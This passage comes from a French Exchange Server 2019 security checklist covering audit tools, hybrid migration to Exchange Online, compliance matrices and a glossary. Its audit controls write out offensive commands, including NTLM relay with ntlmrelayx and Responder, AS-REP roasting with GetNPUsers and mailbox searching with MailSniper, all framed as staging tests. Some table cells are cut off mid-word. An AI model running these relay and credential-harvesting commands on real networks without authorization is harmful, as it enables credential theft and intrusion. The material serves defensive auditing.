EX-S18-C009	Désactiver les composants Exchange non utilisés (Unified Messaging si non déployé, POP3, IMAP4 services)	🟡 MOYENNE	Exchange Attack Surface Reduction	`Get-Service MSExchangeUM,MSExchangePOP3,MSExchangeIMAP4 | Select` `Stopped/Disabled`
EX-S18-C010	Sauvegarder les clés OAuth Exchange et documenter la procédure de rotation annuelle	🟠 HAUTE	Exchange OAuth Security	`Get-AuthConfig | Select CurrentCertificateThumbprint,PreviousCertificateThumbprint,NextCert`

Section S19 — Outils et Tests d'Audit Exchange

Contexte

L'audit d'un déploiement Exchange 2019 nécessite une combinaison d'outils Microsoft (pour la validation des configurations), d'outils de pentest (pour valider que les contrôles résistent à des attaques réelles), et d'outils d'analyse AD (pour les chemins d'attaque Exchange-AD). La règle d'or : **tester en staging d'abord, jamais directement en production**.

Checklist d'outillage d'audit Exchange :

Outil	Catégorie	Usage	Source
HealthChecker.ps1	Microsoft	Audit configuration, recommandations CU/SU	github.com/microsoft/CSS-Exchange
ExchangeAnalyzer	Microsoft	Analyse topologie, best practices	github.com/cunninghamp/ExchangeAnalyzer
ntlmrelayx.py (Impacket)	Red Team	Test EPA, relay NTLM	github.com/fortra/impacket
Responder	Red Team	Capture NTLM (LLMNR/NBT-NS)	github.com/lgandx/Responder
BloodHound + SharpHound	Red/Blue Team	Chemins d'attaque Exchange → AD	github.com/SpecterOps/BloodHound
ADACLScanner	Blue Team	Audit ACE AD Exchange	github.com/canix1/ADACLScanner
Tenable Nessus / Qualys	Scanner	Vulnérabilités Exchange, CU/SU manquants	tenable.com / qualys.com
testssl.sh	Blue Team	Audit TLS Exchange	github.com/drwetter/testssl.sh
MailSniper	Red Team	Test accès EWS/OWA (staging uniquement)	github.com/dafthack/MailSniper
MSERT	Microsoft	Détection webshells et malware Exchange	microsoft.com/security

Séquence d'audit Exchange recommandée :

```
1. HealthChecker.ps1          → configuration baseline + recommandations CU/SU
2. ExchangeAnalyzer.ps1       → topologie + best practices
3. ADACLScanner               → ACE Exchange dans AD (PrivExchange paths)
4. SharpHound + BloodHound    → chemins d'attaque Exchange → Domain Admin
5. testssl.sh                 → configuration TLS OWA/EWS
6. ntlmrelayx (staging)       → validation EPA (doit échouer avec EPA=Require)
7. Tenable/Qualys scan        → vulnérabilités connues + CU/SU manquants
8. MSERT                      → détection webshells et malware résiduel
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Fréquence
EX-S19-C001	Exécuter HealthChecker.ps1 (Microsoft CSS-Exchange) pour l'audit de configuration Exchange	🟠 HAUTE	Microsoft HealthChecker GitHub	`.\HealthChecker.ps1 -Server EXCH01 -OutputFilePath C:\Reports\` ; analyser les findings CRITICAL/WARNING	Mensuel + après chaque SU
EX-S19-C002	Exécuter ExchangeAnalyzer pour l'analyse de la topologie Exchange et des bonnes pratiques	🟠 HAUTE	ExchangeAnalyzer (PFE Exchange)	`.\ExchangeAnalyzer.ps1 -ExchangeEnvironment`	Trimestriel

ID	Contrôle	Priorité	Source	Commande de Vérification	Fréquence
EX-S19-C003	Tester EPA avec Responder + ntlmrelayx en staging (validation que les relays échouent avec 401/403)	🔴 CRITIQUE	Pentest EPA Validation	En staging : `ntlmrelayx.py -t https://exchange-staging/ews/ -smb2support` + `Responder.py -I eth0` → tous les relays doivent échouer	Après chaque modification EPA ou CU
EX-S19-C004	Exécuter GetNPUsers.py (Impacket) pour identifier les comptes AS-REP Roastable liés à Exchange	🟠 HAUTE	Impacket, MITRE ATT&CK T1558.004	`python3 GetNPUsers.py corp.local/ -dc-ip 192.168.1.1 -usersfile exchange_accounts.txt`	Trimestriel
EX-S19-C005	Exécuter BloodHound + SharpHound pour identifier les chemins Exchange → Domain Admin	🔴 CRITIQUE	BloodHound CE, SpecterOps	`.\SharpHound.exe --CollectionMethods All --ZipFileName exchange-audit-$(Get-Date -Format yyyyMMdd).zip`	Trimestriel
EX-S19-C006	Scanner les vulnérabilités Exchange avec Tenable Nessus ou Qualys (plugin Exchange CU/SU detection)	🟠 HAUTE	Tenable Nessus, Qualys	Résultats du scan mensuel Exchange : 0 findings CRITICAL ou HIGH non remédié	Mensuel
EX-S19-C007	Tester la configuration TLS Exchange avec testssl.sh (noter le grade et les CVE TLS détectées)	🟠 HAUTE	OWASP TLS Testing, testssl.sh	`testssl.sh --full https://mail.domain.com/owa/ 2>&1 | grep -E "CRITICAL|HIGH|MEDIUM"`	Après chaque modification TLS
EX-S19-C008	Utiliser MailSniper (uniquement en staging) pour tester l'accès EWS non autorisé	🟠 HAUTE	MailSniper (Red Team Tool)	En staging avec EPA désactivé d'abord, puis réactiver EPA et revérifier : `Invoke-GlobalMailSearch -ExchHostname exchange-staging.corp.local`	Annuel (pentest interne)
EX-S19-C009	Analyser les ACE Exchange dans AD avec ADACLScanner (identifier les chemins PrivExchange)	🔴 CRITIQUE	ADACLScanner (Canix1)	`.\ADACLScanner.ps1 -Base 'DC=corp,DC=local' -Filter 'Exchange' -Output HTML`	Trimestriel
EX-S19-C010	Vérifier l'absence de webshells Exchange avec le script CISA de chasse aux IOC	🔴 CRITIQUE	CISA Advisory AA21-062A	Script CISA : `Get-ChildItem -Recurse -Path "$env:ExchangeInstallPath\Frontend\HttpProxy" -Include "*.aspx","*.ashx"` → analyser le code	Mensuel + après chaque incident

Section S20 — Migration vers Exchange Online / Microsoft 365

Contexte

Exchange Server 2019 SE représente souvent la dernière étape avant la migration vers Exchange Online (EXO), le service cloud Microsoft 365. Cette migration — réalisée en mode hybride Exchange — introduit des risques sécuritaires spécifiques qui s'ajoutent (et ne remplacent pas) les risques on-premise pendant la phase de transition.

Risques spécifiques à la phase hybride Exchange :

1. **Compte MSOL (Azure AD Connect)** : ce compte de service créé automatiquement par Azure AD Connect a des droits étendus sur l'AD local (réplication des hashes de mot de passe en mode PHS). Sa compromission donne accès aux hashes NTLM de tous les utilisateurs du domaine. Il est régulièrement ciblé par les attaquants.
2. **Connecteur hybride Exchange** : le connecteur hybride crée un tunnel de confiance entre Exchange on-premise et Exchange Online. Si ce tunnel est mal sécurisé (pas de TLS mutuellement authentifié), un attaquant peut injecter des emails dans le flux hybride.
3. **Directory Synchronization** : Azure AD Connect synchronise les identités AD vers Entra ID — toute modification AD malveillante (ex : ajout d'attribut ProxyAddresses, modification UPN) est propagée vers le cloud.

Sécurisation du compte MSOL :

```
# Identifier le compte MSOL créé par Azure AD Connect
Get-ADUser -Filter {Name -like 'MSOL_*'} -Properties *  | Select Name,SamAccountName,PasswordLastSet,MemberOf

# Vérifications de sécurité sur le compte MSOL :
$msolAccount = Get-ADUser -Filter {Name -like 'MSOL_*'} -Properties MemberOf,PasswordNeverExpires,PasswordLastSet

# Vérifier que le compte MSOL n'est pas dans des groupes à hauts privilèges
$msolAccount.MemberOf | ForEach {
    $group = Get-ADGroup $_
    if ($group.Name -in @('Domain Admins','Enterprise Admins','Schema Admins','Administrators')) {
        Write-Host "⚠️ DANGER : Compte MSOL membre de $($group.Name)" -ForegroundColor Red
    }
}

# Vérifier que le mot de passe MSOL est récent (< 180 jours)
$days = ((Get-Date) - $msolAccount.PasswordLastSet).Days
if ($days -gt 180) { Write-Host "⚠️ Mot de passe MSOL âgé de $days jours — rotation recommandée" }
```

Contrôles

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S20-C001	Sécuriser le compte MSOL Azure AD Connect (MFA si possible, rotation mdp < 180j, surveillance)	🔴 CRITIQUE	MS Azure AD Connect Security, Entra ID	`Get-ADUser -Filter {Name -like 'MSOL_*'} -Properties PasswordLastSet,MemberOf` → PasswordLastSet < 180j, MemberOf = groupe MSOL uniquement	Implémenter la su compte MSOL dan rotation régulière

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S20-C002	Évaluer et choisir le mode Azure AD Connect approprié (PHS vs PTA vs Fédération ADFS) selon les exigences sécurité	🟠 HAUTE	Azure AD Connect Architecture, MS Security Guidance	`Get-ADSyncConnector | Select Name,ConnectorTypeName` → vérifier le mode de sync	PTA (Pass-Through ou Fédération AD que PHS (pas de H
EX-S20-C003	Sécuriser le connecteur hybride Exchange (TLS mutuellement authentifié, IP source restreinte)	🟠 HAUTE	Exchange Hybrid Security Guide	`Get-HybridConfiguration | Select TlsCertificateName,Features,ExternalIPAddresses`	Configurer le Sma avec authentificat restreindre les IPs autorisées
EX-S20-C004	Utiliser le Modern Hybrid Exchange (via Hybrid Agent, sans ouverture de ports entrants) plutôt que Classic Hybrid	🟠 HAUTE	Exchange Hybrid Agent Docs	`Get-HybridConfiguration | Select Features` → contient `OAuth`	Déployer le Hybri serveur Exchange connexion sortant
EX-S20-C005	Activer Conditional Access Azure AD pour Exchange Online (MFA obligatoire, Compliant Device requis)	🔴 CRITIQUE	Microsoft Entra CA Docs, Zero Trust	Vérifier les Conditional Access Policies dans Entra ID → policy Exchange Online active	Créer policy CA : `Exchange Online` `Require device c`
EX-S20-C006	Activer Microsoft Purview Audit (anciennement Security & Compliance Center) pour Exchange Online	🟠 HAUTE	Microsoft Purview Docs	`Get-AdminAuditLogConfig | Select UnifiedAuditLogIngestionEnabled` → `True`	`Set-AdminAuditL -UnifiedAuditLog $true`

ID	Contrôle	Priorité	Source	Commande de Vérification	Remédiation
EX-S20-C007	Planifier la décommission Exchange on-premise après migration complète (suppression DNS, désactivation comptes service)	🟡 MOYENNE	Exchange Decommission Docs	Vérifier que 0 boîte mail active reste sur Exchange on-premise avant décommission	Checklist décomm désactiver les cor hybrides, supprim désactiver les cor Exchange, désins
EX-S20-C008	Former l'équipe IT sur les différences de modèle de sécurité Exchange on-premise vs Exchange Online	🟡 MOYENNE	Microsoft Learn, Exchange Online Security	Plan de formation équipe : différences RBAC, MFA, Conditional Access, Defender for Office 365	Organiser une for Online Security : Access, Defender Purview, Secure S

Matrices de Conformité et de Référence

Matrice NIS 2 Article 21 → Contrôles Exchange ANC

Mesure NIS 2 Art.21	Description	Contrôles Exchange ANC Couvrant
§2.a — Politiques d'analyse des risques	Évaluation des risques documentée	EX-S01, EX-S18-C005, EX-S17-C007
§2.b — Gestion des incidents	Détection, réponse, notification	EX-S10, EX-S15, EX-S16, EX-S17-C008
§2.c — Continuité d'activité	BCP, RTO/RPO, backup/ restore	EX-S16-C005, EX-S18-C004
§2.d — Sécurité de la chaîne d'appro.	Intégrations tierces Exchange	EX-S01-C009, EX-S18-C007, EX-S20
§2.e — Sécurité acquisition/ développement	Patching Exchange, SU à jour	EX-S11
§2.f — Efficacité des politiques	Audit, tests, métriques	EX-S19, EX-S17-C007
§2.g — Formation cybersécurité	Formation équipe Exchange	EX-S18-C006, EX-S12-C007
§2.h — Cryptographie	TLS 1.2+, BitLocker, DKIM	EX-S02, EX-S09-C003 à C005, EX-S17-C002, EX-S17-C003
§2.i — Sécurité des RH	RBAC, PAW, séparation des rôles	EX-S07, EX-S18-C001
§2.j — Contrôle d'accès	MFA, Kerberos, NTLM control	EX-S03, EX-S05, EX-S06, EX-S07, EX-S08-C005

Matrice MITRE ATT&CK → Contrôles Exchange ANC

ID ATT&CK	Technique	Tactique	Section(s) Mitigante(s)
T1078	Valid Accounts	Initial Access	S05-C002 (MFA), S08-C005 (MFA OWA)
T1110.003	Password Spraying	Credential Access	S14-C004 (rate limit), S15-C002
T1187	Forced Authentication	Credential Access	S03 (EPA), S04-C001 (LLMNR), S04-C004 (LDAP Signing)
T1557	Adversary-in-the-Middle	Credential Access	S04 (NTLMRelayX mitigations), S02 (TLS)
T1558.001	Golden Ticket	Credential Access	S06-C003 (no unconstrained deleg), S06-C008 (krbtgt)
T1558.003	Kerberoasting	Credential Access	S06-C009, S06-C010
T1114.002	Email Collection via EWS	Collection	S08-C002 (EWS restrict), S10-C006, S15-C006
T1114.003	Email Forwarding Rules	Exfiltration	S10-C007, S15-C005
T1190	Exploit Public-Facing App	Initial Access	S11 (ProxyLogon/Shell/NotShell), S14 (WAF)
T1505.003	Web Shell	Persistence	S16-C001 (hunting), S19-C010 (MSERT)
T1556.006	Exchange Transport Agent	Defense Evasion	S18-C007 (audit transport agents)
T1550.002	Pass the Hash	Lateral Movement	S04-C010 (Credential Guard), S05-C001 (NTLMv1 off)

Récapitulatif des 165 Contrôles par Section

Section	Titre	Contrôles	Priorité Dominante
S01	Inventaire et Pré-requis	10	🔴 CRITIQUE
S02	Configuration TLS et Chiffrement	12	🔴 CRITIQUE
S03	EPA — Extended Protection for Authentication	15	🔴 CRITIQUE
S04	Kill Chains NTLMRelayX et Mitigations	10	🔴 CRITIQUE
S05	Authentification NTLM — Contrôle	10	🔴 CRITIQUE
S06	Kerberos et Délégation Contrainte	10	🔴 CRITIQUE
S07	Contrôle d'Accès et RBAC Exchange	10	🔴 CRITIQUE
S08	Protocoles Clients OWA/EWS/MAPI/EAS	12	🔴 CRITIQUE
S09	Connecteurs SMTP et Transport	10	🔴 CRITIQUE
S10	Journalisation et SIEM	12	🔴 CRITIQUE
S11	Patching et CVE Critiques	10	🔴 CRITIQUE
S12	Antiphishing et Antimalware	8	🔴 CRITIQUE
S13	Hardening Active Directory Exchange	10	🔴 CRITIQUE
S14	WAF, Reverse Proxy et Périmétrique	10	🔴 CRITIQUE

Section	Titre	Contrôles	Priorité Dominante
S15	Monitoring et Supervision	10	🔴 CRITIQUE
S16	Réponse aux Incidents Exchange	8	🔴 CRITIQUE
S17	Conformité NIS 2 / RGPD / DORA	8	🔴 CRITIQUE
S18	Sécurité Opérationnelle	10	🔴 CRITIQUE
S19	Outils et Tests d'Audit	10	🔴 CRITIQUE
S20	Migration Exchange Online / M365	8	🔴 CRITIQUE

Glossaire

AD : Active Directory — annuaire LDAP Microsoft, socle d'authentification Exchange
ADFS : Active Directory Federation Services — fédération d'identité Microsoft (SAML, OAuth)
ASP.NET : framework web Microsoft (IIS) — utilisé par tous les endpoints Exchange
BitLocker : chiffrement complet de volume Windows
BloodHound : outil d'analyse des chemins d'attaque Active Directory via graphe
CAB : Customer Advisory Board — groupe de retour d'expérience Microsoft Exchange
CBT : Channel Binding Token — hash TLS du serveur, cœur du mécanisme EPA
CISA : Cybersecurity and Infrastructure Security Agency (USA)
CU : Cumulative Update — mise à jour majeure Exchange (biannuelle)
DANE : DNS-based Authentication of Named Entities — sécurité SMTP via DNSSEC+TLSA
DAG : Database Availability Group — cluster haute disponibilité Exchange
DLP : Data Loss Prevention — prévention des fuites de données
EAS : Exchange ActiveSync — synchronisation mobile Exchange
ECP : Exchange Control Panel — panneau d'administration web Exchange
EPA : Extended Protection for Authentication — liaison auth ↔ canal TLS
EWS : Exchange Web Services — API REST Exchange (accès programmatique)
GPO : Group Policy Object — politiques de groupe Windows
HSM : Hardware Security Module — module matériel de sécurité pour clés cryptographiques
IDS/IPS : Intrusion Detection/Prevention System
IMPACKET : toolkit Python pour protocoles Windows réseau (NTLM, SMB, Kerberos)
KCD : Kerberos Constrained Delegation — délégation contrainte Kerberos
LDAP : Lightweight Directory Access Protocol — protocole accès annuaire
LLMNR : Link-Local Multicast Name Resolution — protocole de résolution de noms (vecteur d'attaque)
MAPI : Messaging Application Programming Interface — protocole Outlook ↔ Exchange
MDI : Microsoft Defender for Identity — détection des attaques AD/Exchange
MSOL : compte de service Azure AD Connect (préfixe automatique Microsoft Online)
MSRC : Microsoft Security Response Center — source officielle des patches Microsoft
NTLM : NT LAN Manager — protocole d'authentification challenge-response Windows legacy
NTLMRelayX : ntlmrelayx.py (Impacket) — outil de relay NTLM
OAuth : Open Authorization — protocole d'autorisation délégué (Modern Authentication)
OWA : Outlook Web App — interface webmail Exchange
PAW : Privileged Access Workstation — poste dédié à l'administration sécurisée
PHS : Password Hash Synchronization — synchronisation des hashes vers Azure AD
ProxyLogon : famille CVE Exchange mars 2021 (SSRF pre-auth + RCE)
ProxyNotShell : famille CVE Exchange novembre 2022 (SSRF + RCE auth required)
ProxyShell : famille CVE Exchange juillet 2021 (ACL bypass + RCE)
PTA : Pass-Through Authentication — mode Azure AD Connect sans hash en cloud
RBAC : Role-Based Access Control — contrôle d'accès basé sur les rôles

RBCD : Resource-Based Constrained Delegation — délégation contrainte côté ressource
RTO/RPO : Recovery Time/Point Objective — objectifs de reprise d'activité
SMTP : Simple Mail Transfer Protocol — protocole de transport email (RFC 5321)
SPN : Service Principal Name — identifiant Kerberos d'un service
SSRF : Server-Side Request Forgery — falsification de requête côté serveur
SU : Security Update — correctif de sécurité Microsoft mensuel (Patch Tuesday)
TGT : Ticket Granting Ticket — ticket Kerberos principal émis par le KDC
UPN : User Principal Name — nom d'utilisateur au format email dans AD
VD : Virtual Directory — répertoire virtuel IIS Exchange (/owa/, /ews/, /mapi/, etc.)
WAF : Web Application Firewall — pare-feu applicatif web
Webshell : fichier script malveillant déposé sur le serveur web pour persistance (ex : .aspx)

Sources et Références

Référence	Lien / Description
MSRC Exchange Security Updates	https://msrc.microsoft.com/update-guide — patches mensuels Exchange
Microsoft Exchange Blog — EPA CU14	Blog technique Microsoft sur l'activation EPA CU14 (janvier 2024)
CVE-2021-26855 (ProxyLogon)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
CVE-2021-34473 (ProxyShell)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
CVE-2022-41040 (ProxyNotShell)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040
CVE-2024-21410 (NTLM relay EPA)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21410
PrivExchange — Dirk-Jan Mollema	"Abusing Exchange: One API call away from Domain Admin" (2018)
CISA Advisory AA21-062A	https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-062a
Impacket ntlmrelayx.py	https://github.com/fortra/impacket
Microsoft HealthChecker	https://github.com/microsoft/CSS-Exchange/releases
BloodHound Community Edition	https://github.com/SpecterOps/BloodHound
ADACLScanner	https://github.com/canix1/ADACLScanner
CIS Exchange Server 2019 Benchmark	Center for Internet Security Benchmark (abonnement requis)
ANSSI Recommandations AD	https://www.ssi.gouv.fr/guide/recommandations-de-securite-relatives-a-active-directory/
ANSSI Guide TLS 2024	https://www.ssi.gouv.fr/guide/recommandations-de-securite-relatives-a-tls/
NIST SP 800-52r2	Guidelines for TLS Implementations
NIS 2 Directive (UE) 2022/2555	Mesures de sécurité Art.21, notification Art.23
DORA (UE) 2022/2554	Résilience opérationnelle numérique secteur financier
MITRE ATT&CK Enterprise	https://attack.mitre.org/matrices/enterprise/
RFC 4120 — Kerberos v5	Protocole Kerberos référence
RFC 7208 — SPF	Sender Policy Framework
RFC 6376 — DKIM	DomainKeys Identified Mail

Référence	Lien / Description
RFC 7489 — DMARC	Domain-based Message Authentication
RFC 8461 — MTA-STS	SMTP MTA Strict Transport Security
RFC 7672 — SMTP DANE	DANE pour SMTP
RFC 7235 — HTTP Authentication	HTTP Authentication Framework (NTLM, Negotiate)

Checklist Exchange Server 2019 SE — Format ANC — Ayinedjimi Consultants — Mars 2026
Mise à jour recommandée : à chaque Security Update Microsoft Exchange + trimestrielle
Version 2.0 — 165 contrôles · 20 sections · Kill chains NTLMRelayX documentées · EPA CU14